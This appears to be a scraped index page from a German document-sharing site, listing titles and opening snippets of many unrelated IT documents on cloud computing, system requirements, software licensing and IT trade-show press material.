Jahres-Pressekonferenz Hannover,

Jahres-Pressekonferenz Hannover, Jahres-Pressekonferenz 214 Hannover, 9.3.214 Deutscher ITK-Markt gewinnt 214 an Schwung Umsatz mit ITK-Produkten und -Diensten in Deutschland Mrd. 16 12 145,7 148,1 +4,6% +1,7% 151,7 15,8 153,4 -,5% +2,4%

Mehr

Systemanforderungen für Qlik Sense. Qlik Sense June 2017 Copyright QlikTech International AB. Alle Rechte vorbehalten.

Systemanforderungen für Qlik Sense. Qlik Sense June 2017 Copyright QlikTech International AB. Alle Rechte vorbehalten. Systemanforderungen für Qlik Sense Qlik Sense June 2017 Copyright 1993-2017 QlikTech International AB. Alle Rechte vorbehalten. Copyright 1993 2017 QlikTech International AB. Alle Rechte vorbehalten. Qlik,

Mehr

Cloud Computing Teil 2

Cloud Computing Teil 2 Cloud Computing Teil 2 Dropbox und andere Anbieter Dokumente, Präsentationen, Briefe, Bilder und vieles mehr in der Cloud sichern. Computeria Wallisellen, Joachim Vetter, 18.September 2013 Agenda Rückblick

Mehr

Linux Server in der eigenen Cloud

Linux Server in der eigenen Cloud SÜD IT AG World of IT Linux Server in der eigenen Cloud Infrastructure as a Service (IaaS) Michael Hojnacki, ProtoSoft AG Quellen: SUSE Cloud 4 Präsentation (Thore Bahr) Diverse Veröffentlichungen Stahlgruberring

Mehr

Google Chromebook. Neuer Geschäftsbereich von Google. Fehmi Belhadj Bahri Ismail Aziz Demirezen Christian Fritz

Google Chromebook. Neuer Geschäftsbereich von Google. Fehmi Belhadj Bahri Ismail Aziz Demirezen Christian Fritz Google Chromebook Neuer Geschäftsbereich von Google Fehmi Belhadj Bahri Ismail Aziz Demirezen Christian Fritz 06.06.2011 Belhadj, Ismail, Demirezen, Fritz Technologie- und Marketing-Management in IT-/TIMES-Märkten

Mehr

Home to the Cloud e-shelter Marktplatz für die hybride Cloud Welt. Wien, 2. Februar 2017 Matthias Dämon, e-shelter

Home to the Cloud e-shelter Marktplatz für die hybride Cloud Welt. Wien, 2. Februar 2017 Matthias Dämon, e-shelter Home to the Cloud e-shelter Marktplatz für die hybride Cloud Welt Wien, 2. Februar 2017 Matthias Dämon, e-shelter 1 Home to the Cloud Die Cloud ist überall angekommen also «Do you still need your data

Mehr

Impressum/Nutzungsbedingungen/Datenschutzerklärung Datenschutzbeauftrager

Impressum/Nutzungsbedingungen/Datenschutzerklärung Datenschutzbeauftrager Impressum/Nutzungsbedingungen/Datenschutzerklärung Datenschutzbeauftrager Schulleitung: Wolfgang Schmitt, Rektor Diensteanbieter: Freistaat Bayern Vertreten durch Rektor Wolfgang Schmitt Redaktionelle

Mehr

Preise und Leistungen Dynamic Computing Services

Preise und Leistungen Dynamic Computing Services Preise und Leistungen Dynamic Computing Services Alle Preise in CHF exkl. MwSt. beim Bezug während 30 Tagen. Die effektive Verrechnung findet auf Stundenbasis statt. Für die Nachvollziehbarkeit der Rechnung

Mehr

map.apps 4 Bundles PIONEER / Systemvoraussetzungen

map.apps 4 Bundles PIONEER / Systemvoraussetzungen map.apps 4 Bundles 4.0.0-PIONEER / 3.7.0 Systemvoraussetzungen Version map.apps 4 (Bundles 4.0.0-PIONEER / 3.7.0) Urheberschutz Der rechtmäßige Erwerb der con terra Softwareprodukte und der zugehörigen

Mehr

Lizenzierung von Lync Server 2013

Lizenzierung von Lync Server 2013 Lizenzierung von Lync Server 2013 Das Lizenzmodell von Lync Server 2013 besteht aus zwei Komponenten: Serverlizenzen zur Lizenzierung der Serversoftware und CALs zur Lizenzierung der Zugriffe auf die Serversoftware.

Mehr

Umstellung des Lizenzmodells auf User CAL Fragen und Antworten für unsere Kunden

Umstellung des Lizenzmodells auf User CAL Fragen und Antworten für unsere Kunden Umstellung des Lizenzmodells auf User CAL Fragen und Antworten für unsere Kunden Vorbemerkung Sage bietet ab 1.10.2017 bei Neu- und Nachkauf von Sage 50 Handwerk Lizenzen nur noch User CAL (Client Access

Mehr

LAC Enterprise Computing. Enorme Zielgruppen- und Verkaufspotenziale in der Unternehmens-IT

LAC Enterprise Computing. Enorme Zielgruppen- und Verkaufspotenziale in der Unternehmens-IT LAC 2011 Enterprise Computing Enorme Zielgruppen- und Verkaufspotenziale in der Unternehmens-IT Leseranalyse Computerpresse 2011 Inhalt Mit Stellenmarkt magazin für computer technik Die Tablet-Generation

Mehr

Künstliche Intelligenz: Solide Grundlagen aber mangelnde Vorbereitung und fehlende Fachkräfte

Künstliche Intelligenz: Solide Grundlagen aber mangelnde Vorbereitung und fehlende Fachkräfte Künstliche Intelligenz: Solide Grundlagen aber mangelnde Vorbereitung und fehlende Fachkräfte Dr.-Ing. Kurt D. Bettenhausen, Vorsitzender Interdisziplinäres VDI-Gremium Digitale Transformation Statement

Mehr

Hauptfunktionen der Teamwire-App

Hauptfunktionen der Teamwire-App Hauptfunktionen der Teamwire-App Einleitung Teamwire ist eine schnelle, intuitive und einfach zu benutzende Enterprise Messaging App. Die App bietet zahlreiche Features, die Firmen helfen die Kommunikation

Mehr

Systemanforderungen. Für BauBit PRO, BauBit Mobile und BauBit LEXOCAD. HOTLINE

Systemanforderungen. Für BauBit PRO, BauBit Mobile und BauBit LEXOCAD. HOTLINE Letzte Aktualisierung: 14.07.2017 Verteiler: Systemadministrator Systemanforderungen Für BauBit PRO, BauBit Mobile und BauBit LEXOCAD ABBF Bausoft AG Route André Piller 29 1762 Givisiez 026 469 70 30 info@abbf.ch

Mehr

D A T A L O G S O F T W A R E A G. Virtualisierung ist ein heißes Thema.

D A T A L O G S O F T W A R E A G. Virtualisierung ist ein heißes Thema. Virtualisierung ist ein heißes Thema. Aktuelle DATALOG Umfrage 2009 Aktuelle Umfrage belegt: Virtualisierung ist 2009 ein heißes Thema Virtualisierung führt als wichtigste strategische Technologie die

Mehr

Wie muss eine moderne und entwicklungsfähige IT-Ausstattung einer Schule in Verwaltung und Pädagogik aussehen?

Wie muss eine moderne und entwicklungsfähige IT-Ausstattung einer Schule in Verwaltung und Pädagogik aussehen? Attraktive Technologien im Schulalltag effizient nutzen! Wie muss eine moderne und entwicklungsfähige IT-Ausstattung einer Schule in Verwaltung und Pädagogik aussehen? Thomas Jordans, Geschäftsführer AixConcept

Mehr

Impressum / Haftungsausschluss / Datenschutzerklärung

Impressum / Haftungsausschluss / Datenschutzerklärung / Haftungsausschluss / Datenschutzerklärung Kontaktadresse ECO PHYSICS GmbH Umwelt- und Prozess-Messtechnik Schleißheimer Straße 270B 80809 München 089 307667 0 089 307667 29 info@ecophysics.de Gesellschaft

Mehr

Was traut die magellan der Cloud zu?

Was traut die magellan der Cloud zu? Was traut die magellan der Cloud zu? Cloud und vertrauen? I 2 AGENDA Was traut die magellan der Cloud zu? Was ist eigentlich Cloud? Vor- und Nachteile Was ist cloud-geeignet? Konkrete Lösungsansätze und

Mehr

Pressekonferenz zur CEBIT 2018

Pressekonferenz zur CEBIT 2018 Bild: Ociacia/Shutterstock.com Pressekonferenz zur CEBIT 2018 Dipl.-Ing. Dieter Westerkamp VDI e.v. Bereichsleiter Technik und Wissenschaft Dipl.-Ing. Heiko Adamczyk Koramis GmbH Business Development Security

Mehr

Microsoft SharePoint. share it, do it! www.klockwork.at

Microsoft SharePoint. share it, do it! www.klockwork.at Microsoft SharePoint share it, do it! www.klockwork.at Share it do it! Das Wissen steckt vor allem in den Köpfen unserer Mitarbeiter. Deshalb ermutigen wir sie, ihr Wissen aufzuzeichnen und zu teilen.

Mehr

Technische Voraussetzungen

Technische Voraussetzungen Technische Voraussetzungen (Stand November 2018) PC-forum GmbH Am Gehrenbach 8 D- 88167 Maierhöfen Tel. +49 8383/22 88 30 www.bizs.de info@bizs.de PC-forum GmbH 2018 Server Dedizierter Server Hardware

Mehr

Expertenumfrage: Mobile Entertainment

Expertenumfrage: Mobile Entertainment AK WLAN Expertenumfrage: Mobile Entertainment Arbeitskreis Mobile des eco Verband der deutschen Internetwirtschaft e.v. Welche Entwicklungsplattformen für mobile Apps werden in 3 Jahren besonders wichtig?

Mehr

Mobile Daten effizient schützen PITS Harry Zorn, Vice President Sales, EMEA Uli Neider, Regional Sales Manager, DACH

Mobile Daten effizient schützen PITS Harry Zorn, Vice President Sales, EMEA Uli Neider, Regional Sales Manager, DACH Mobile Daten effizient schützen Harry Zorn, Vice President Sales, EMEA Uli Neider, Regional Sales Manager, DACH 1 Agenda Schwerpunkt: Mobile Daten Die Herausforderung Wer ist Accellion Lösungsansätze 2

Mehr

Systemvoraussetzungen

Systemvoraussetzungen 14.0.02 Auch gültig für: BIM Multiuser Read-Only Demo Lehre & Forschung Corporate http://www.elecosoft.de/astapowerproject Inhaltsverzeichnis Inhaltsverzeichnis 1 2 2 Betriebssystem 2 Zusätzlich benötigte

Mehr

Hauptfunktionen der Teamwire-App

Hauptfunktionen der Teamwire-App Hauptfunktionen der Teamwire-App Einleitung Teamwire ist eine schnelle, intuitive und einfach zu benutzende Enterprise Messaging App. Die App bietet zahlreiche Features, die Firmen helfen die Kommunikation

Mehr

Cloud-Computing Praxiserfahrungen

Cloud-Computing Praxiserfahrungen Cloud-Computing Praxiserfahrungen Stephan Tanner, CTO MTF Data AG 21. November 2013 Welche Themen erwarten Sie: Veränderungen im ICT Markt Cloud: eine Ansammlung von Wassertröpfchen (Nebel) oder Eiskristallen?

Mehr

Vision: Schnittstellen/Cloud/Hub zwischen den Kantonen und dem BAFU. Matthias Egeling

Vision: Schnittstellen/Cloud/Hub zwischen den Kantonen und dem BAFU. Matthias Egeling Vision: Schnittstellen/Cloud/Hub zwischen den Kantonen und dem BAFU Matthias Egeling Inhalt Vision Übersicht Cloud-Computing Referenzen Übersicht Web-Hubs Diskussion / Fragen 2 Vision... Vision Was wäre,

Mehr

Desktop Virtualisierung. marium VDI. die IT-Lösung für Ihren Erfolg

Desktop Virtualisierung. marium VDI. die IT-Lösung für Ihren Erfolg Desktop Virtualisierung marium VDI die IT-Lösung für Ihren Erfolg marium VDI mariumvdi VDI ( Desktop Virtualisierung) Die Kosten für die Verwaltung von Desktop-Computern in Unternehmen steigen stetig und

Mehr

ReachLocal Umfrage unter KMU zum Thema Social Media Nutzung

ReachLocal Umfrage unter KMU zum Thema Social Media Nutzung REACHOUT REPORT ReachLocal Umfrage unter KMU zum Thema Social Media Nutzung ReachLocal hat mehr als 200 kleine und mittelständische Unternehmen aus Deutschland und Österreich befragt, um mehr über ihre

Mehr

GESCHÜTZT MIT HL SECURE 4.0

GESCHÜTZT MIT HL SECURE 4.0 EINFÜHRUNGS- ANGEBOT BESTENS Bei einer Bestellung bis 31. Januar 2018 entfällt die Installationsgebühr in Höhe von bis zu 900. GESCHÜTZT MIT HL SECURE 4.0 Wir sichern Ihr Netzwerk. Das digitale Zeitalter

Mehr

Windows 10 Feature Update Version 1709

Windows 10 Feature Update Version 1709 Computeria vom 30. Nov. 2017 Windows 10 Feature Update Version 1709 Einladung Windows 10 Feature Update Version 1709 Dieses Update ist nicht ein Update wie viele andere. Was steckt dahinter? Worauf ist

Mehr

Open Source Open Mind Way of Life

Open Source Open Mind Way of Life Open Source Open Mind Way of Life FOSS-Group AG, Hauptstrasse 91, CH-4147 Aesch FOSS-Group GmbH, Bismarckallee 9, 79098 Freiburg Die FOSS Group ist ein Zusammenschluss von hochkarätigen Free Open Source

Mehr

WebCenter Content an bewölkten Tagen

WebCenter Content an bewölkten Tagen WebCenter Content an bewölkten Tagen Christoph Münch Virtual7 D-76185 Karlsruhe Keywords: Oracle Document Cloud Service, ODCS, Cloud, Software as a Service, SaaS, WebCenter Content, Web Content Management,

Mehr

2016 Umfrage VERWALTUNG VON APPLE GERÄTEN IN UNTERNEHMEN

2016 Umfrage VERWALTUNG VON APPLE GERÄTEN IN UNTERNEHMEN 2016 Umfrage VERWALTUNG VON APPLE GERÄTEN IN UNTERNEHMEN 2016 Umfrage VERWALTUNG VON APPLE GERÄTEN IN UNTERNEHMEN Bei der jährlichen Umfrage Jamf Trends ging es dieses Mal um das Thema Apple im Unternehmen.

Mehr

Stadtverwaltung Falkensee. Verwaltung trifft auf moderne IT

Stadtverwaltung Falkensee. Verwaltung trifft auf moderne IT Stadtverwaltung Falkensee Verwaltung trifft auf moderne IT Inhalt Stadt Falkensee DI/112 IT-Service Zahlen & Fakten der Stadt Falkensee von gestern bis morgen (IT Entwicklung) vor der Idee bis zur Umsetzung

Mehr

Deploy Early oder die richtigen. Zutaten für Ihren Relaunch

Deploy Early oder die richtigen. Zutaten für Ihren Relaunch Deploy Early oder die richtigen Zutaten für Ihren Relaunch Plug & Play Web Applikationen 2016 Paradigma #1 Nutze Vorfertigung! HTML/CSS-Frameworks Responsive Design Logo Button Action Screen Tablet Landscape

Mehr

- Design hochverfügbarer Server- und Storage-Umgebungen - Server- und Storage-Assessments Datenanalyse und -klassifizierung

- Design hochverfügbarer Server- und Storage-Umgebungen - Server- und Storage-Assessments Datenanalyse und -klassifizierung Informatik für KMU IT-Infrastruktur Eine gut funktionierende IT Infrastruktur sorgt dafür, dass Anwender störungsfrei und effizient arbeiten können. Somit verlaufen Ihre Geschäftsprozesse effizient, die

Mehr

SAFE HARBOR STATEMENT

SAFE HARBOR STATEMENT SAFE HARBOR STATEMENT The following is intended to outline our general product direction. It is intended for information purposes only, and may not be incorporated into any contract. It is not a commitment

Mehr

itsmf Live Mobility Kernfragen der Mobility-Strategie

itsmf Live Mobility Kernfragen der Mobility-Strategie www.pwc-consulting.com Kernfragen der Mobility-Strategie Agenda Die Post-PC-Ära Nutzung von Mobility-Lösungen in Unternehmen Entwicklungen in Mobility Technologien Information Security in a Mobile World

Mehr

ProAccess SPACE 3.0. Für weitere Informationen wenden Sie sich bitte an Ihren SALTO Partner oder:

ProAccess SPACE 3.0. Für weitere Informationen wenden Sie sich bitte an Ihren SALTO Partner oder: ProAccess SPACE 3.0 SALTO stellt mit diesem Dokument seinen Kunden und Partnern eine Checkliste für die Netzwerk- und IT-Voraussetzungen der Web-basierten Managementsoftware ProAccess SPACE bereit. Es

Mehr

LAC Software. Kaufpläne der c t-leser

LAC Software. Kaufpläne der c t-leser LAC 2011 Software Kaufpläne der c t-leser www.ct.de 12. 9. 2011 LAC 2011 Top-Zielgruppe bestätigt c t Favorit der IT-Profis Mit Stellenmarkt magazin für computer technik 20 So viel Schutz muss sein Windows

Mehr

VON DER WOLKE IN DEN NEBEL

VON DER WOLKE IN DEN NEBEL VON DER WOLKE IN DEN NEBEL RZ INFRASTRUKTUREN FÜR "THE EDGE" Dr. Peter Koch VP Solutions - Integrated Rack Systems EMEA 23. März 2017 VERTIV PORTFOLIO Emerson Network Power ist jetzt 2 wozu? wie? weshalb?

Mehr

Lage der IT-Sicherheit im Mittelstand

Lage der IT-Sicherheit im Mittelstand Lage der IT-Sicherheit im Mittelstand Prof. Dr. Norbert Pohlmann Institut für Internet-Sicherheit if(is) Fachhochschule Gelsenkirchen http://www.internet-sicherheit.de Inhalt Motivation Die Situation heute:

Mehr

Meine Datenbank läuft auf Vmware Was sagt der Enterprise Manager dazu?

Meine Datenbank läuft auf Vmware Was sagt der Enterprise Manager dazu? Meine Datenbank läuft auf Vmware Was sagt der Enterprise Manager dazu? Martin Obst Oracle Deutschland B.V. & Co. KG Potsdam Schlüsselworte Enterprise Manager, 12c, Cloud Control, VMware, vsphere, Integration,

Mehr

Digital CeBit 2018 Digitalisierung. Einfach. Machen.

Digital CeBit 2018 Digitalisierung. Einfach. Machen. Digital Friday @ CeBit 2018 Digitalisierung. Einfach. Machen. Christopher Schinzel // Telekom Deutschland GmbH Bis 2020 wird jeder VIERTE EURO im Online-Handel ausgegeben 1 40% der Unternehmen werden sich

Mehr

Technische Voraussetzungen und Kompatibilitätsliste GemDat/Rubin

Technische Voraussetzungen und Kompatibilitätsliste GemDat/Rubin Technische Voraussetzungen und Kompatibilitätsliste GemDat/Rubin Zielgruppe Kunden, Partner und GemDat Informatik AG Freigabedatum 5. Dezember 20 Version 1.50 Status Freigegeben Copyright 20 by GemDat

Mehr

Accelerating possibilities

Accelerating possibilities 26.10.2016 Accelerating possibilities GTUG Hannover, 26.04.2017 Mode 2: Digitalisierung 2 Digitalisierung 3. industrielle Revolution 3 Digitalisierung => 3. industrielle Revolution => Idea Economy

Mehr

Was ist Linux im Vergleich zu Windows, Folie 1 von 11. PC-Treff-BB / LiStiG Peter Rudolph Version

Was ist Linux im Vergleich zu Windows, Folie 1 von 11. PC-Treff-BB / LiStiG Peter Rudolph Version Was ist Linux im Was ist Linux im Vergleich zu Windows, Folie 1 von 11 Vergleich zu Windows PC-Treff-BB / LiStiG Peter Rudolph Version 2016.2 Linux kann Windows ersetzen Was ist Linux im Vergleich zu Windows,

Mehr

NCP Secure Enterprise HA Server (Linux) Release Notes

NCP Secure Enterprise HA Server (Linux) Release Notes Service Release: 10.01 r38360 Datum: Februar 2018 Linux Distributionen: Diese Version ist für die 64-Bit-Versionen folgender Distributionen freigegeben: SuSE Linux Enterprise Server 12 SP3 CentOS 7.4 Debian

Mehr

Leistungsbeschreibung CSE Connect

Leistungsbeschreibung CSE Connect Leistungsbeschreibung CSE Connect 1. Allgemeine Beschreibungen Dräger CSE Connect ist eine Software Lösung zur Optimierung des Freigabeprozesses im Bereich Industrie und Mining. CSE Connect unterstützt

Mehr

Systemvoraussetzungen für den Zugriff auf die DAA-Zeus-Umgebung aus dem Internet (Szenario-1) Halten Sie Ihr System deswegen unbedingt immer aktuell!

Systemvoraussetzungen für den Zugriff auf die DAA-Zeus-Umgebung aus dem Internet (Szenario-1) Halten Sie Ihr System deswegen unbedingt immer aktuell! Systemvoraussetzungen für den Zugriff auf die DAA-Zeus-Umgebung aus dem Internet (Szenario-1) Mit der Markteinführung von Windows 10 (Herbst 2015) sind abweichend zu den vorherigen Windows Betriebssystemen,

Mehr

User-Guide. von datac Kommunikationssysteme

User-Guide. von datac Kommunikationssysteme User-Guide von datac Kommunikationssysteme Inhalt Dokumente verwalten und bearbeiten 4 Speichern eines Dokuments auf OneDrive for Business 4 Bearbeiten eines Excel-Arbeitsblatts auf einem Smartphone 5

Mehr

Systemvoraussetzungen:

Systemvoraussetzungen: Systemvoraussetzungen: DOMUS NAVI für DOMUS 4000 Stand 09/2017 Benötigen Sie Unterstützung* oder haben essentielle Fragen? Kundensupport Tel.: +49 [0] 89 66086-230 Fax: +49 [0] 89 66086-235 E-Mail: domusnavi@domus-software.de

Mehr

Datenverluste und Datendiebstahl mit Endpoint Protector 4 verhindern

Datenverluste und Datendiebstahl mit Endpoint Protector 4 verhindern Datenverluste und Datendiebstahl mit Endpoint Protector 4 verhindern zdnet.de/88276198/datenverluste-und-datendiebstahl-mit-endpoint-protector-4-verhindern/ von Thomas Joos am 5. September 2016, 05:44

Mehr